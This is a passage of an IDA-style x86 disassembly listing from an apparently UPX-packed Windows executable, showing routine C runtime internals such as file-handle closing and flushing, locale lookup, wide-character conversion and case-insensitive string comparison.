loc_415DD6: ; CODE XREF: sub_415D90+6Fj
mov eax, [ebp+var_1C]
loc_415DD9: ; CODE XREF: sub_415D90+3Bj
call __SEH_epilog4
retn
; ---------------------------------------------------------------------------
loc_415DDF: ; CODE XREF: sub_415D90+41j
push esi
call sub_4119ED
pop ecx
mov [ebp+ms_exc.disabled], edi
push esi
call sub_415D19
pop ecx
mov [ebp+var_1C], eax
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_415E04
jmp short loc_415DD6
sub_415D90 endp
; =============== S U B R O U T I N E =======================================
sub_415E01 proc near ; DATA XREF: UPX0:00426D30o
mov esi, [ebp+8]
sub_415E01 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_415E04 proc near ; CODE XREF: sub_415D90+6Ap
push esi
call sub_411A60
pop ecx
retn
sub_415E04 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415E0C proc near ; CODE XREF: sub_414AD9+36p
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
push 10h
push offset dword_426D38
call __SEH_prolog4
mov eax, [ebp+arg_0]
cmp eax, 0FFFFFFFEh
jnz short loc_415E33
call sub_40C862
mov dword ptr [eax], 9
loc_415E2B: ; CODE XREF: sub_415E0C+4Dj
or eax, 0FFFFFFFFh
jmp loc_415EDD
; ---------------------------------------------------------------------------
loc_415E33: ; CODE XREF: sub_415E0C+12j
xor ebx, ebx
cmp eax, ebx
jl short loc_415E41
cmp eax, dword_430148
jb short loc_415E5B
loc_415E41: ; CODE XREF: sub_415E0C+2Bj
; sub_415E0C+6Dj
call sub_40C862
mov dword ptr [eax], 9
push ebx
push ebx
push ebx
push ebx
push ebx
call sub_40B255
add esp, 14h
jmp short loc_415E2B
; ---------------------------------------------------------------------------
loc_415E5B: ; CODE XREF: sub_415E0C+33j
mov ecx, eax
sar ecx, 5
lea edi, ds:430160h[ecx*4]
mov esi, eax
and esi, 1Fh
shl esi, 6
mov ecx, [edi]
movsx ecx, byte ptr [esi+ecx+4]
and ecx, 1
jz short loc_415E41
push eax
call sub_414846
pop ecx
mov [ebp+ms_exc.disabled], ebx
mov eax, [edi]
test byte ptr [esi+eax+4], 1
jz short loc_415EBF
push [ebp+arg_0]
call sub_4147CF
pop ecx
push eax
call dword_41D0F8 ; FlushFileBuffers
test eax, eax
jnz short loc_415EAD
call dword_41D1D8 ; RtlGetLastWin32Error
mov [ebp+var_1C], eax
jmp short loc_415EB0
; ---------------------------------------------------------------------------
loc_415EAD: ; CODE XREF: sub_415E0C+94j
mov [ebp+var_1C], ebx
loc_415EB0: ; CODE XREF: sub_415E0C+9Fj
cmp [ebp+var_1C], ebx
jz short loc_415ECE
call sub_40C875
mov ecx, [ebp+var_1C]
mov [eax], ecx
loc_415EBF: ; CODE XREF: sub_415E0C+80j
call sub_40C862
mov dword ptr [eax], 9
or [ebp+var_1C], 0FFFFFFFFh
loc_415ECE: ; CODE XREF: sub_415E0C+A7j
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_415EE3
mov eax, [ebp+var_1C]
loc_415EDD: ; CODE XREF: sub_415E0C+22j
call __SEH_epilog4
retn
sub_415E0C endp
; =============== S U B R O U T I N E =======================================
sub_415EE3 proc near ; CODE XREF: sub_415E0C+C9p
; DATA XREF: UPX0:00426D50o
push dword ptr [ebp+8]
call sub_4148E6
pop ecx
retn
sub_415EE3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415EED proc near ; CODE XREF: sub_414C04+25Dp
; sub_414FEE+152p ...
var_C = byte ptr -0Ch
var_6 = byte ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, dword_42A034
xor eax, ebp
mov [ebp+var_4], eax
push 6
lea eax, [ebp+var_C]
push eax
push 1004h
push [ebp+arg_0]
mov [ebp+var_6], 0
call dword_41D0BC ; GetLocaleInfoA
test eax, eax
jnz short loc_415F20
or eax, 0FFFFFFFFh
jmp short loc_415F2A
; ---------------------------------------------------------------------------
loc_415F20: ; CODE XREF: sub_415EED+2Cj
lea eax, [ebp+var_C]
push eax
call sub_40BABC
pop ecx
loc_415F2A: ; CODE XREF: sub_415EED+31j
mov ecx, [ebp+var_4]
xor ecx, ebp
call sub_40AC1C
leave
retn
sub_415EED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415F36 proc near ; CODE XREF: sub_414C04+288p
; sub_414C04+339p ...
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
mov edi, edi
push ebp
mov ebp, esp
sub esp, 34h
mov eax, dword_42A034
xor eax, ebp
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_10]
mov [ebp+var_28], eax
mov eax, [ebp+arg_C]
push ebx
mov [ebp+var_30], eax
mov eax, [eax]
push esi
mov [ebp+var_24], eax
mov eax, [ebp+arg_0]
push edi
xor edi, edi
mov [ebp+var_34], ecx
mov [ebp+var_20], edi
mov [ebp+var_2C], edi
cmp eax, [ebp+arg_4]
jz loc_4160D5
mov esi, dword_41D138
lea ecx, [ebp+var_18]
push ecx
push eax
call esi ; dword_41D138
mov ebx, dword_41D1F4
test eax, eax
jz short loc_415FEB
cmp [ebp+var_18], 1
jnz short loc_415FEB
lea eax, [ebp+var_18]
push eax
push [ebp+arg_4]
call esi ; dword_41D138
test eax, eax
jz short loc_415FEB
cmp [ebp+var_18], 1
jnz short loc_415FEB
mov esi, [ebp+var_24]
mov [ebp+var_2C], 1
cmp esi, 0FFFFFFFFh
jnz short loc_415FC1
push [ebp+var_28]
call sub_40BFB0
mov esi, eax
pop ecx
inc esi
loc_415FC1: ; CODE XREF: sub_415F36+7Dj
cmp esi, edi
loc_415FC3: ; CODE XREF: sub_415F36+C8j
jle short loc_416020
cmp esi, 7FFFFFF0h
ja short loc_416020
lea eax, [esi+esi+8]
cmp eax, 400h
ja short loc_416007
call sub_4160F0
mov eax, esp
cmp eax, edi
jz short loc_41601B
mov dword ptr [eax], 0CCCCh
jmp short loc_416018
; ---------------------------------------------------------------------------
loc_415FEB: ; CODE XREF: sub_415F36+55j
; sub_415F36+5Bj ...
push edi
push edi
push [ebp+var_24]
push [ebp+var_28]
push 1
push [ebp+arg_0]
call ebx ; dword_41D1F4
mov esi, eax
cmp esi, edi
jnz short loc_415FC3
loc_416000: ; CODE XREF: sub_415F36+F0j
xor eax, eax
jmp loc_4160D8
; ---------------------------------------------------------------------------
loc_416007: ; CODE XREF: sub_415F36+A0j
push eax
call sub_40AEA5
pop ecx
cmp eax, edi
jz short loc_41601B
mov dword ptr [eax], 0DDDDh
loc_416018: ; CODE XREF: sub_415F36+B3j
add eax, 8
loc_41601B: ; CODE XREF: sub_415F36+ABj
; sub_415F36+DAj
mov [ebp+var_1C], eax
jmp short loc_416023
; ---------------------------------------------------------------------------
loc_416020: ; CODE XREF: sub_415F36:loc_415FC3j
; sub_415F36+95j
mov [ebp+var_1C], edi
loc_416023: ; CODE XREF: sub_415F36+E8j
cmp [ebp+var_1C], edi
jz short loc_416000
lea eax, [esi+esi]
push eax
push edi
push [ebp+var_1C]
call sub_40BD40
add esp, 0Ch
push esi
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+var_28]
push 1
push [ebp+arg_0]
call ebx ; dword_41D1F4
test eax, eax
jz short loc_4160CC
mov ebx, [ebp+var_34]
cmp ebx, edi
jz short loc_416071
push edi
push edi
push [ebp+arg_14]
push ebx
push esi
push [ebp+var_1C]
push edi
push [ebp+arg_4]
call dword_41D07C ; WideCharToMultiByte
test eax, eax
jz short loc_4160CC
mov [ebp+var_20], ebx
jmp short loc_4160CC
; ---------------------------------------------------------------------------
loc_416071: ; CODE XREF: sub_415F36+11Cj
mov ebx, dword_41D07C
cmp [ebp+var_2C], edi
jnz short loc_416090
push edi
push edi
push edi
push edi
push esi
push [ebp+var_1C]
push edi
push [ebp+arg_4]
call ebx ; dword_41D07C
mov esi, eax
cmp esi, edi
jz short loc_4160CC
loc_416090: ; CODE XREF: sub_415F36+144j
push esi
push 1
call sub_40EF6F
pop ecx
pop ecx
mov [ebp+var_20], eax
cmp eax, edi
jz short loc_4160CC
push edi
push edi
push esi
push eax
push esi
push [ebp+var_1C]
push edi
push [ebp+arg_4]
call ebx ; dword_41D07C
cmp eax, edi
jnz short loc_4160C1
push [ebp+var_20]
call sub_40ADC8
pop ecx
mov [ebp+var_20], edi
jmp short loc_4160CC
; ---------------------------------------------------------------------------
loc_4160C1: ; CODE XREF: sub_415F36+17Bj
cmp [ebp+var_24], 0FFFFFFFFh
jz short loc_4160CC
mov ecx, [ebp+var_30]
mov [ecx], eax
loc_4160CC: ; CODE XREF: sub_415F36+115j
; sub_415F36+134j ...
push [ebp+var_1C]
call sub_401000
pop ecx
loc_4160D5: ; CODE XREF: sub_415F36+3Aj
mov eax, [ebp+var_20]
loc_4160D8: ; CODE XREF: sub_415F36+CCj
lea esp, [ebp-40h]
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_4]
xor ecx, ebp
call sub_40AC1C
leave
retn
sub_415F36 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4160F0 proc near ; CODE XREF: sub_401040+29p
; sub_401304+73p ...
arg_0 = byte ptr 4
push ecx
lea ecx, [esp+4+arg_0]
sub ecx, eax
and ecx, 0Fh
add eax, ecx
sbb ecx, ecx
or eax, ecx
pop ecx
jmp sub_40E000
sub_4160F0 endp
; ---------------------------------------------------------------------------
push ecx
lea ecx, [esp+8]
sub ecx, eax
and ecx, 7
add eax, ecx
sbb ecx, ecx
or eax, ecx
pop ecx
jmp sub_40E000
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41611C proc near ; CODE XREF: sub_41620E+53p
; sub_416B21+A1p
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 10h
push ebx
xor ebx, ebx
push esi
push edi
cmp [ebp+arg_8], ebx
jz loc_416207
push [ebp+arg_C]
lea ecx, [ebp+var_10]
call sub_40C799
cmp [ebp+arg_0], ebx
jnz short loc_416170
loc_416142: ; CODE XREF: sub_41611C+59j
call sub_40C862
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword ptr [eax], 16h
call sub_40B255
add esp, 14h
cmp [ebp+var_4], bl
jz short loc_416166
mov eax, [ebp+var_8]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_416166: ; CODE XREF: sub_41611C+41j
mov eax, 7FFFFFFFh
jmp loc_416209
; ---------------------------------------------------------------------------
loc_416170: ; CODE XREF: sub_41611C+24j
mov edi, [ebp+arg_4]
cmp edi, ebx
jz short loc_416142
mov esi, 7FFFFFFFh
cmp [ebp+arg_8], esi
jbe short loc_4161A9
call sub_40C862
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword ptr [eax], 16h
call sub_40B255
add esp, 14h
cmp [ebp+var_4], bl
jz short loc_4161A5
mov eax, [ebp+var_8]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_4161A5: ; CODE XREF: sub_41611C+80j
mov eax, esi
jmp short loc_416209
; ---------------------------------------------------------------------------
loc_4161A9: ; CODE XREF: sub_41611C+63j
mov eax, [ebp+var_10]
cmp [eax+14h], ebx
jnz short loc_4161CE
push [ebp+arg_8]
push edi
push [ebp+arg_0]
call sub_4166F0
add esp, 0Ch
loc_4161C0: ; CODE XREF: sub_41611C+E9j
cmp [ebp+var_4], bl
jz short loc_416209
mov ecx, [ebp+var_8]
and dword ptr [ecx+70h], 0FFFFFFFDh
jmp short loc_416209
; ---------------------------------------------------------------------------
loc_4161CE: ; CODE XREF: sub_41611C+93j
; sub_41611C+E3j
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax]
lea ecx, [ebp+var_10]
push ecx
push eax
call sub_4165A5
inc [ebp+arg_0]
mov esi, eax
movzx eax, byte ptr [edi]
lea ecx, [ebp+var_10]
push ecx
push eax
call sub_4165A5
add esp, 10h
inc edi
dec [ebp+arg_8]
jz short loc_416201
cmp esi, ebx
jz short loc_416201
cmp esi, eax
jz short loc_4161CE
loc_416201: ; CODE XREF: sub_41611C+DBj
; sub_41611C+DFj
sub esi, eax
mov eax, esi
jmp short loc_4161C0
; ---------------------------------------------------------------------------
loc_416207: ; CODE XREF: sub_41611C+10j
xor eax, eax
loc_416209: ; CODE XREF: sub_41611C+4Fj
; sub_41611C+8Bj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41611C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41620E proc near ; CODE XREF: sub_415875+33p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword_42ED1C, esi
jnz short loc_416257
cmp [ebp+arg_0], esi
jnz short loc_416242
loc_416223: ; CODE XREF: sub_41620E+37j
; sub_41620E+40j
call sub_40C862
push esi
push esi
push esi
push esi
push esi
mov dword ptr [eax], 16h
call sub_40B255
add esp, 14h
mov eax, 7FFFFFFFh
jmp short loc_416269
; ---------------------------------------------------------------------------
loc_416242: ; CODE XREF: sub_41620E+13j
cmp [ebp+arg_4], esi
jz short loc_416223
cmp [ebp+arg_8], 7FFFFFFFh
ja short loc_416223
pop esi
pop ebp
jmp sub_4166F0
; ---------------------------------------------------------------------------
loc_416257: ; CODE XREF: sub_41620E+Ej
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41611C
add esp, 10h
loc_416269: ; CODE XREF: sub_41620E+32j
pop esi
pop ebp
retn
sub_41620E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41626C proc near ; CODE XREF: sub_41635A+10p
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push [ebp+arg_C]
lea ecx, [ebp+var_10]
call sub_40C799
mov ecx, [ebp+arg_8]
xor ebx, ebx
cmp ecx, ebx
jnz short loc_41629C
cmp [ebp+var_4], bl
jz short loc_416295
mov eax, [ebp+var_8]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_416295: ; CODE XREF: sub_41626C+20j
xor eax, eax
jmp loc_416357
; ---------------------------------------------------------------------------
loc_41629C: ; CODE XREF: sub_41626C+1Bj
cmp [ebp+arg_0], ebx
jnz short loc_4162CF
loc_4162A1: ; CODE XREF: sub_41626C+66j
call sub_40C862
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword ptr [eax], 16h
call sub_40B255
add esp, 14h
cmp [ebp+var_4], bl
jz short loc_4162C5
mov eax, [ebp+var_8]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_4162C5: ; CODE XREF: sub_41626C+50j
mov eax, 7FFFFFFFh
jmp loc_416357
; ---------------------------------------------------------------------------
loc_4162CF: ; CODE XREF: sub_41626C+33j
cmp [ebp+arg_4], ebx
jz short loc_4162A1
push esi
mov esi, 7FFFFFFFh
cmp ecx, esi
jbe short loc_4162F8
call sub_40C862
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword ptr [eax], 16h
call sub_40B255
add esp, 14h
jmp short loc_416337
; ---------------------------------------------------------------------------
loc_4162F8: ; CODE XREF: sub_41626C+70j
mov eax, [ebp+var_C]
cmp [eax+8], ebx
jnz short loc_416314
push [ebp+arg_C]
push ecx
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416B21
add esp, 10h
jmp short loc_41634A
; ---------------------------------------------------------------------------
loc_416314: ; CODE XREF: sub_41626C+92j
push dword ptr [eax+4]
push ecx
push [ebp+arg_4]
push ecx
push [ebp+arg_0]
push 1001h
push dword ptr [eax+0Ch]
lea eax, [ebp+var_10]
push eax
call sub_416ADF
add esp, 20h
cmp eax, ebx
jnz short loc_416347
loc_416337: ; CODE XREF: sub_41626C+8Aj
cmp [ebp+var_4], bl
jz short loc_416343
mov eax, [ebp+var_8]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_416343: ; CODE XREF: sub_41626C+CEj
mov eax, esi
jmp short loc_416356
; ---------------------------------------------------------------------------
loc_416347: ; CODE XREF: sub_41626C+C9j
add eax, 0FFFFFFFEh
loc_41634A: ; CODE XREF: sub_41626C+A6j
cmp [ebp+var_4], bl
jz short loc_416356
mov ecx, [ebp+var_8]
and dword ptr [ecx+70h], 0FFFFFFFDh
loc_416356: ; CODE XREF: sub_41626C+D9j
; sub_41626C+E1j
pop esi
loc_416357: ; CODE XREF: sub_41626C+2Bj
; sub_41626C+5Ej
pop ebx
leave
retn
sub_41626C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41635A proc near ; CODE XREF: sub_415A57+64p
; sub_416C1B+13p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
mov edi, edi
push ebp
mov ebp, esp
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41626C
add esp, 10h
pop ebp
retn
sub_41635A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416374 proc near ; CODE XREF: sub_415A57+26p
; sub_416CC7+87p
var_8 = dword ptr -8
var_4 = dword ptr -4
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor esi, esi
push edi
mov edi, dword_42E894
mov [ebp+var_4], esi
mov eax, [edi]
cmp eax, esi
jz short loc_4163F4
mov ebx, dword_41D07C
loc_416395: ; CODE XREF: sub_416374+7Ej
push esi
push esi
push esi
push esi
push 0FFFFFFFFh
push eax
push esi
push esi
call ebx ; dword_41D07C
mov [ebp+var_8], eax
cmp eax, esi
jz short loc_4163FB
push 1
push eax
call sub_40EF6F
pop ecx
pop ecx
mov [ebp+var_4], eax
cmp eax, esi
jz short loc_4163FB
push esi
push esi
push [ebp+var_8]
push eax
push 0FFFFFFFFh
push dword ptr [edi]
push esi
push esi
call ebx ; dword_41D07C
test eax, eax
jz short loc_416400
lea eax, [ebp+var_4]
push esi
push eax
call sub_416CC7
pop ecx
pop ecx
test eax, eax
jge short loc_4163EB
cmp [ebp+var_4], esi
jz short loc_4163EB
push [ebp+var_4]
call sub_40ADC8
pop ecx
mov [ebp+var_4], esi
loc_4163EB: ; CODE XREF: sub_416374+64j
; sub_416374+69j
add edi, 4
mov eax, [edi]
cmp eax, esi
jnz short loc_416395
loc_4163F4: ; CODE XREF: sub_416374+19j
xor eax, eax
loc_4163F6: ; CODE XREF: sub_416374+8Aj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4163FB: ; CODE XREF: sub_416374+31j
; sub_416374+42j ...
or eax, 0FFFFFFFFh
jmp short loc_4163F6
; ---------------------------------------------------------------------------
loc_416400: ; CODE XREF: sub_416374+54j
push [ebp+var_4]
call sub_40ADC8
pop ecx
jmp short loc_4163FB
sub_416374 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41640B proc near ; CODE XREF: sub_4164A7+94p
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push edi
push esi
call sub_4147CF
pop ecx
cmp eax, 0FFFFFFFFh
jz short loc_416471
mov eax, dword_430160
cmp esi, 1
jnz short loc_416434
test byte ptr [eax+84h], 1
jnz short loc_41643F
loc_416434: ; CODE XREF: sub_41640B+1Ej
cmp esi, 2
jnz short loc_416455
test byte ptr [eax+44h], 1
jz short loc_416455
loc_41643F: ; CODE XREF: sub_41640B+27j
push 2
call sub_4147CF
push 1
mov edi, eax
call sub_4147CF
pop ecx
pop ecx
cmp eax, edi
jz short loc_416471
loc_416455: ; CODE XREF: sub_41640B+2Cj
; sub_41640B+32j
push esi
call sub_4147CF
pop ecx
push eax
call dword_41D0A8 ; CloseHandle
test eax, eax
jnz short loc_416471
call dword_41D1D8 ; RtlGetLastWin32Error
mov edi, eax
jmp short loc_416473
; ---------------------------------------------------------------------------
loc_416471: ; CODE XREF: sub_41640B+14j
; sub_41640B+48j ...
xor edi, edi
loc_416473: ; CODE XREF: sub_41640B+64j
push esi
call sub_414749
mov eax, esi
sar eax, 5
mov eax, dword_430160[eax*4]
and esi, 1Fh
shl esi, 6
pop ecx
mov byte ptr [eax+esi+4], 0
test edi, edi
jz short loc_4164A1
push edi
call sub_40C888
pop ecx
or eax, 0FFFFFFFFh
jmp short loc_4164A3
; ---------------------------------------------------------------------------
loc_4164A1: ; CODE XREF: sub_41640B+88j
xor eax, eax
loc_4164A3: ; CODE XREF: sub_41640B+94j
pop edi
pop esi
pop ebp
retn
sub_41640B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4164A7 proc near ; CODE XREF: sub_415D19+4Bp
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
push 10h
push offset dword_426D58
call __SEH_prolog4
mov eax, [ebp+arg_0]
cmp eax, 0FFFFFFFEh
jnz short loc_4164D6
call sub_40C875
and dword ptr [eax], 0
call sub_40C862
mov dword ptr [eax], 9
loc_4164CE: ; CODE XREF: sub_4164A7+5Cj
or eax, 0FFFFFFFFh
jmp loc_416564
; ---------------------------------------------------------------------------
loc_4164D6: ; CODE XREF: sub_4164A7+12j
xor edi, edi
cmp eax, edi
jl short loc_4164E4
cmp eax, dword_430148
jb short loc_416505
loc_4164E4: ; CODE XREF: sub_4164A7+33j
; sub_4164A7+7Cj
call sub_40C875
mov [eax], edi
call sub_40C862
mov dword ptr [eax], 9
push edi
push edi
push edi
push edi
push edi
call sub_40B255
add esp, 14h
jmp short loc_4164CE
; ---------------------------------------------------------------------------
loc_416505: ; CODE XREF: sub_4164A7+3Bj
mov ecx, eax
sar ecx, 5
lea ebx, ds:430160h[ecx*4]
mov esi, eax
and esi, 1Fh
shl esi, 6
mov ecx, [ebx]
movsx ecx, byte ptr [ecx+esi+4]
and ecx, 1
jz short loc_4164E4
push eax
call sub_414846
pop ecx
mov [ebp+ms_exc.disabled], edi
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_416546
push [ebp+arg_0]
call sub_41640B
pop ecx
mov [ebp+var_1C], eax
jmp short loc_416555
; ---------------------------------------------------------------------------
loc_416546: ; CODE XREF: sub_4164A7+8Fj
call sub_40C862
mov dword ptr [eax], 9
or [ebp+var_1C], 0FFFFFFFFh
loc_416555: ; CODE XREF: sub_4164A7+9Dj
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_41656A
mov eax, [ebp+var_1C]
loc_416564: ; CODE XREF: sub_4164A7+2Aj
call __SEH_epilog4
retn
sub_4164A7 endp
; =============== S U B R O U T I N E =======================================
sub_41656A proc near ; CODE XREF: sub_4164A7+B5p
; DATA XREF: UPX0:00426D70o
push dword ptr [ebp+8]
call sub_4148E6
pop ecx
retn
sub_41656A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416574 proc near ; CODE XREF: sub_415D19+3Fp
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz short loc_4165A2
test al, 8
jz short loc_4165A2
push dword ptr [esi+8]
call sub_40ADC8
and dword ptr [esi+0Ch], 0FFFFFBF7h
xor eax, eax
pop ecx
mov [esi], eax
mov [esi+8], eax
mov [esi+4], eax
loc_4165A2: ; CODE XREF: sub_416574+Ej
; sub_416574+12j
pop esi
pop ebp
retn
sub_416574 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4165A5 proc near ; CODE XREF: sub_41611C+BDp
; sub_41611C+CFp ...
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push [ebp+arg_4]
lea ecx, [ebp+var_18]
call sub_40C799
mov ebx, [ebp+arg_0]
mov esi, 100h
cmp ebx, esi
jnb short loc_41661A
mov ecx, [ebp+var_18]
cmp dword ptr [ecx+0ACh], 1
jle short loc_4165E6
lea eax, [ebp+var_18]
push eax
push 1
push ebx
call sub_41449B
mov ecx, [ebp+var_18]
add esp, 0Ch
jmp short loc_4165F3
; ---------------------------------------------------------------------------
loc_4165E6: ; CODE XREF: sub_4165A5+2Bj
mov eax, [ecx+0C8h]
movzx eax, word ptr [eax+ebx*2]
and eax, 1
loc_4165F3: ; CODE XREF: sub_4165A5+3Fj
test eax, eax
jz short loc_416606
mov eax, [ecx+0CCh]
movzx eax, byte ptr [eax+ebx]
jmp loc_4166A9
; ---------------------------------------------------------------------------
loc_416606: ; CODE XREF: sub_4165A5+50j
; sub_4165A5+ECj
cmp [ebp+var_C], 0
jz short loc_416613
mov eax, [ebp+var_10]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_416613: ; CODE XREF: sub_4165A5+65j
mov eax, ebx
jmp loc_4166B6
; ---------------------------------------------------------------------------
loc_41661A: ; CODE XREF: sub_4165A5+1Fj
mov eax, [ebp+var_18]
cmp dword ptr [eax+0ACh], 1
jle short loc_416657
mov [ebp+arg_0], ebx
sar [ebp+arg_0], 8
lea eax, [ebp+var_18]
push eax
mov eax, [ebp+arg_0]
and eax, 0FFh
push eax
call sub_4127F4
pop ecx
pop ecx
test eax, eax
jz short loc_416657
mov al, byte ptr [ebp+arg_0]
push 2
mov [ebp+var_4], al
mov [ebp+var_3], bl
mov [ebp+var_2], 0
pop ecx
jmp short loc_41666C
; ---------------------------------------------------------------------------
loc_416657: ; CODE XREF: sub_4165A5+7Fj
; sub_4165A5+9Ej
call sub_40C862
mov dword ptr [eax], 2Ah
xor ecx, ecx
mov [ebp+var_4], bl
mov [ebp+var_3], 0
inc ecx
loc_41666C: ; CODE XREF: sub_4165A5+B0j
mov eax, [ebp+var_18]
push 1
push dword ptr [eax+4]
lea edx, [ebp+var_8]
push 3
push edx
push ecx
lea ecx, [ebp+var_4]
push ecx
push esi
push dword ptr [eax+14h]
lea eax, [ebp+var_18]
push eax
call sub_414FA9
add esp, 24h
test eax, eax
jz loc_416606
cmp eax, 1
movzx eax, [ebp+var_8]
jz short loc_4166A9
movzx ecx, [ebp+var_7]
shl eax, 8
or eax, ecx
loc_4166A9: ; CODE XREF: sub_4165A5+5Cj
; sub_4165A5+F9j
cmp [ebp+var_C], 0
jz short loc_4166B6
mov ecx, [ebp+var_10]
and dword ptr [ecx+70h], 0FFFFFFFDh
loc_4166B6: ; CODE XREF: sub_4165A5+70j
; sub_4165A5+108j
pop esi
pop ebx
leave
retn
sub_4165A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4166BA proc near ; CODE XREF: sub_418D6B+1Bp
; sub_418D6B+38p
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
cmp dword_42ED1C, 0
jnz short loc_4166D8
mov eax, [ebp+arg_0]
lea ecx, [eax-41h]
cmp ecx, 19h
ja short loc_4166E4
add eax, 20h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4166D8: ; CODE XREF: sub_4166BA+Cj
push 0
push [ebp+arg_0]
call sub_4165A5
pop ecx
pop ecx
loc_4166E4: ; CODE XREF: sub_4166BA+17j
pop ebp
retn
sub_4166BA endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4166F0 proc near ; CODE XREF: sub_41611C+9Cp
; sub_41620E+44j
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
or ecx, ecx
jz short loc_41674A
mov esi, [ebp+arg_0]
mov edi, [ebp+arg_4]
mov bh, 41h
mov bl, 5Ah
mov dh, 20h
lea ecx, [ecx+0]
loc_41670C: ; CODE XREF: sub_4166F0+49j
mov ah, [esi]
or ah, ah
mov al, [edi]
jz short loc_41673B
or al, al
jz short loc_41673B
add esi, 1
add edi, 1
cmp ah, bh
jb short loc_416728
cmp ah, bl
ja short loc_416728
add ah, dh
loc_416728: ; CODE XREF: sub_4166F0+30j
; sub_4166F0+34j
cmp al, bh
jb short loc_416732
cmp al, bl
ja short loc_416732
add al, dh
loc_416732: ; CODE XREF: sub_4166F0+3Aj
; sub_4166F0+3Ej
cmp ah, al
jnz short loc_416741
sub ecx, 1
jnz short loc_41670C
loc_41673B: ; CODE XREF: sub_4166F0+22j
; sub_4166F0+26j
xor ecx, ecx
cmp ah, al
jz short loc_41674A
loc_416741: ; CODE XREF: sub_4166F0+44j
mov ecx, 0FFFFFFFFh
jb short loc_41674A
neg ecx
loc_41674A: ; CODE XREF: sub_4166F0+Bj
; sub_4166F0+4Fj ...
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
